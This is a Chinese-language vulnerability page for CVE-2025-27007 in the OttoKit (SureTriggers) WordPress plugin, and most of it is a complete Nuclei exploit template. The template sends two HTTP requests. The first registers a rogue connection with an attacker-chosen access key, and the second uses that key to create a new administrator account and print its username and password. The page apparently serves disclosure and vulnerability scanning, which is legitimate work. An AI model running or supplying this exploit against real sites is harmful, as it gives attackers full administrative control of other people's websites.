CVE-2025-27007: OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation

日期: 2025-08-01 | 影响软件: OttoKit | POC: 已公开

漏洞描述

Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.

PoC代码[已公开]

id: CVE-2025-27007

info:
  name: OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.
  reference:
    - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve
    - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-27007
    cwe-id: CWE-266
    epss-score: 0.77988
    epss-percentile: 0.98975
  metadata:
    verified: true
    max-request: 2
    public-query: "/wp-content/plugins/suretriggers"
  tags: cve,cve2025,ottokit,intrusive,priv,wordpress,wp-plugin,wp,suretriggers,vkev

variables:
  username: "admin"
  password: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  access_key: "{{randbase(10)}}"
  attacker: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/sure-triggers/v1/connection/create-wp-connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        User-Agent: OttoKit

        {"sure-triggers-access-key": "{{access_key}}", "wp-password": "a", "connection_status": "ok", "wp-username": "{{username}}", "connected_email": "{{email}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'success'
          - 'Connected successfully.'
        internal: true
        condition: and

  - raw:
      - |
        POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
        Host: {{Hostname}}
        St-Authorization: Bearer {{access_key}}
        Content-Type: application/x-www-form-urlencoded

        selected_options[user_name]=new_{{username}}&selected_options[user_email]={{attacker}}&selected_options[password]={{password}}&selected_options[role]=administrator&integration=WordPress&type_event=create_user_if_not_exists&

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"administrator":true'
          - '"success":true'
          - "new_{{username}}"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: new_" + username + " Password: " + password'
# digest: 4a0a00473045022100d0ac82d29609f2b244e7c41276457e74214fd7cba0c4ddc1bb18686ffe34da0f02204293bf994fa7eed4d4aaa1239c5e66565c6311500cd4b9a603e8b78e428872c7:922c64590222798bb761d5b6d8e72950